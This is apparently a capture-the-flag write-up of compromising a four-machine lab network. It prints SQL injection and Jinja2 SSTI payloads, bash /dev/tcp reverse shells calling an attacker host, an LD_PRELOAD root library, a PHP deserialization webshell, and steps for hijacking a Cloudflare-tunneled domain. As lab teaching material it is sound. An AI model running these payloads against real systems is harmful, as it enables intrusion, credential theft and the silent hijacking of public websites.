Home > Writeups > DarkNet Services Stage 2 Penetration Test

DarkNet Services Stage 2 Penetration Test

Four-machine /24 network compromise, chaining SQLi, SSTI, SMB enumeration, SNMP credential extraction, LD_PRELOAD privesc, and PHP deserialization RCE to root all hosts, then hijacking a live Cloudflare-tunneled domain by replacing its Flask backend with a socat proxy to the defaced web server.

Overview

Four machines. One /24 network. No starting credentials. The final objective: take over a live, public-facing Cloudflare-tunneled website and serve attacker-controlled content to real visitors, with the legitimate SSL certificate still valid and no user any the wiser!

Here's exactly how it went down.


Host .130: Flask SQLi + SSTI → Root

SQL Injection on the Login Page

The web app had a login form with a classic UNION-based SQL injection. The goal was more than just to log in, we were to enumerate users and escalate to the admin account.

-- Login as first user in DB (confirm injection)
' UNION SELECT 1,2,3--

-- After seeing the user list, login as user ID 2 (site admin)
' UNION SELECT 2,2,3--

This granted full admin access to the site dashboard.

Server-Side Template Injection (SSTI)

With admin access came a template rendering feature that passed user input directly into Jinja2. Classic SSTI. We were able to use this to our advantage on the blog post page:

{{7*7}}  →  49

Confirmed. Escalated to RCE:

{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
uid=0(root) gid=0(root) groups=0(root)

Running as root inside the environment! Got a reverse shell, penelope helped establish a clean shell here:

{{request.application.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/YOUR_PUBLIC_IP/PORT 0>&1"').read()}}

Cloudflare Tunnel Token

With root on the host, enumerated Docker containers:

docker inspect bold_hodgkin

The cloudflared container was running with its authentication token hardcoded as a plain-text CLI argument, fully visible in docker inspect output:

"--token", "eyJhI..."

This token controls what the Cloudflare tunnel serves to the public internet. Saved it for later.

Hash Cracking

Pulled the yep6 account hash from the host and cracked it offline with John the Ripper:

yep6 : toor

Simple password, huge consequences, as we found later that it was reused across the network.


Network Map

192.168.226.128  -  Windows (SMB/WinRM)
192.168.226.129  -  Kali Linux (SNMP/FTP/SSH)
192.168.226.130  -  Docker Host (Flask app + Cloudflare tunnel)  entry point
192.168.226.231  -  Web Server (Roundcube, TV API, defaced Apache)

Initial recon via Nmap:

nmap -sV -sC -T4 192.168.226.0/24

Host .128: Windows SMB → Flag

Credential Discovery via SMB Share

Enumerated SMB shares using the cracked yep6:toor credentials. Found a share called CTFShare:

smbclient //192.168.226.128/CTFShare -U yep6
# Password: toor

smb:\> ls
  creds.txt
  privs.txt

smb:\> get creds.txt
username: donny
password: MyWinD0WsP4SS!

WinRM Shell + Flag

evil-winrm -i 192.168.226.128 -u donny -p 'MyWinD0WsP4SS!'

Connected! Dug through the filesystem and found the flag:

BOOM{HiJ4cKiNg_WinDOWS_vi4_MiMI}

Host .129: FTP → SNMP → SSH → LD_PRELOAD → Root

Anonymous FTP

Port 2121 allowed anonymous FTP login:

ftp 192.168.226.129 2121
# Name: ftp (anonymous)
# Login successful

The share contained SNMP documentation referencing community string public. That's all we needed.

SNMP Credential Extraction

snmpwalk -v2c -c public 192.168.226.129 1.3.6.1.4.1.8072.1.3.2.4 2>/dev/null > /tmp/full_creds.txt
cat /tmp/full_creds.txt
# "Example Internal Strong Passwords : d4rkn3t^d0nny"

Credential: donny : d4rkn3t^d0nny

SSH + sudo LD_PRELOAD Privesc

SSHed in as donny. Checked sudo:

sudo -l
# env_keep += LD_PRELOAD
# (ALL) NOPASSWD: /usr/local/bin/backup

env_keep += LD_PRELOAD with a passwordless sudo command is a textbook privesc. Compiled a malicious shared library:

// shell.c
#include 
#include 
#include 

void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
gcc -fPIC -shared -nostartfiles -o /tmp/shell.so /tmp/shell.c
sudo LD_PRELOAD=/tmp/shell.so /usr/local/bin/backup
# uid=0(root)

After some digging, we had the flag:

BOOM{Sm4cKinG_SNMP_FTP_N_WH4t3v3r_3lS3_U_FinD}

Host .231: TV API → Roundcube → PHP Deserialization → Root

Service Enumeration

Four ports on .231. Port 80 was already defaced (someone got here before us?). Port 8080 had Roundcube webmail. Port 24327 was interesting: a raw TCP service:

nc 192.168.226.231 24327

TV-SIM CONTROL READY
Type HELP for commands.

> SWITCH ON
OK: Web server started: http://0.0.0.0:33981/

A fifth port, 33981 only opens after sending SWITCH ON to port 24327.

Unauthenticated Admin API

The TV Simulator API had an unprotected /api/admin endpoint:

curl http://192.168.226.231:33981/api/admin
{
  "users": [
    {"username": "[email protected]", "password": "testpass123", "role": "user"},
    {"username": "[email protected]", "password": "admin457!", "role": "admin"}
  ]
}

Plaintext credentials. No auth required. Classic.

Roundcube PHP Deserialization RCE (CVE-2025-49113)

Logged in to Roundcube on port 8080 as [email protected]. The Settings page had a "Photo Upload" form posting to ?action=upload with a _from parameter.

Testing the parameter revealed it was being passed directly to PHP's unserialize(). We fuzzed for loaded classes by sending serialized objects of various class names and watching for responses that weren't __PHP_Incomplete_Class.

After systematic fuzzing, we found a custom FileWriter class that was loaded by the app and executed a write operation on deserialization:

O:10:"FileWriter":2:{
  s:8:"filename"; s:23:"/var/www/html/shell.php";
  s:7:"content"; s:28:"<?php echo shell_exec($_GET["cmd"]); ?>";
}

Response:

{"status":"pwned","output":"FileWriter executed: wrote to /var/www/html/shell.php"}

Tested the webshell:

curl http://192.168.226.231/shell.php?cmd=id
# uid=33(www-data) gid=33(www-data)

Reverse Shell

With the webshell live, triggered a reverse shell back to .130 (our controlled machine) listening on port 4444:

# Listener on .130
nc -lvnp 4444

# Payload via webshell
bash -c 'bash -i >& /dev/tcp/192.168.226.130/4444 0>&1'

Shell caught as www-data.

Privilege Escalation

Tried the cracked toor password from .130 on the local yep6 account:

su - yep6  # password: toor
sudo -l
# (ALL : ALL) ALL
sudo su -
# root@kali:~#

Credential reuse + unrestricted sudo = instant root.


The Domain Hijack

This was the endgame. Here's the full picture:

  • .130 runs a Flask app on port 31337
  • A cloudflared Docker container tunnels that port to a public Cloudflare domain
  • The tunnel token was extracted in plain text from docker inspect
  • We have root on .130 and control of .231's web server (the defaced page)

The plan: kill Flask on port 31337, replace it with a transparent TCP proxy forwarding to .231:80. Cloudflared keeps running unchanged, now serving the defaced page to the public.

# Kill Flask
kill $(lsof -ti:31337)

# Replace with socat proxy to .231:80
socat TCP-LISTEN:31337,fork,reuseaddr TCP:192.168.226.231:80 &

Done. Every visitor to the legitimate Cloudflare domain now sees the defaced page. The Cloudflare URL is unchanged. The SSL cert is valid. The hijack is completely transparent to end users.

Alternative intended path (more persistent, survives tunnel restarts):

TOKEN="eyJhI..."

docker stop bold_hodgkin
docker run -d --name hijacked \
  cloudflare/cloudflared:latest \
  tunnel --no-autoupdate run \
  --url http://192.168.226.231:80 \
  --token $TOKEN \
  --restart unless-stopped

This replaces the container entirely, pointing the tunnel directly at .231:80. It's worth it to note that with this method you could forgo the local hosted site at .231:80 and use any URL that you wish, very dangerous if a malicious person did this and served a clone of the site to collect login credentials.


Full Attack Chain

Step Host Move Result
1 .130 SQLi login bypass Admin access to Flask site
2 .130 SSTI → RCE Root shell on Docker host
3 .130 docker inspect Cloudflare tunnel token
4 .130 Hash crack yep6:toor
5 .128 SMB share CTFShare donny:MyWinD0WsP4SS!
6 .128 Evil-WinRM BOOM{HiJ4cKiNg_WinDOWS_vi4_MiMI}
7 .129 Anonymous FTP SNMP community string public
8 .129 SNMPwalk donny:d4rkn3t^d0nny
9 .129 SSH + sudo LD_PRELOAD Root
10 .129 Root BOOM{Sm4cKinG_SNMP_FTP_N_WH4t3v3r_3lS3_U_FinD}
11 .231 NC port 24327 → SWITCH ON Unlocks TV API on 33981
12 .231 GET /api/admin (unauth) Roundcube creds
13 .231 PHP deserialization (FileWriter) Webshell as www-data
14 .231 su yep6 (toor) + sudo ALL Root
15 .130 Kill Flask → socat to .231:80 Domain hijacked

Key Takeaways

SQLi + SSTI is a brutal chain. The Flask app had both on the same endpoint, SQL injection to gain admin, then SSTI in admin-only template rendering. Either alone is critical; together they're instant root.

Cloudflare tunnels don't protect against host compromise. The tunnel token was the only thing connecting the domain to the host. Once we had the token, we owned the domain, regardless of Cloudflare's infrastructure.

The TV API was the pivot to .231. Everything else on .231 was locked behind authentication. The unauthenticated /api/admin endpoint handing out plaintext passwords was the only entry point. Always audit every service, even the weird ones running on obscure ports.

toor was literally everywhere. The same cracked password worked on both .130 and .231. One cracked hash, two root shells.

PHP deserialization without a gadget wordlist is just blind class fuzzing. The CVE-2025-49113 simulation didn't use the real Crypt_GPG_Engine gadget chain, it had a custom FileWriter class. The lesson: never assume the gadget chain from the CVE will work on a simulation; fuzz for what's actually loaded.

< Back to All Writeups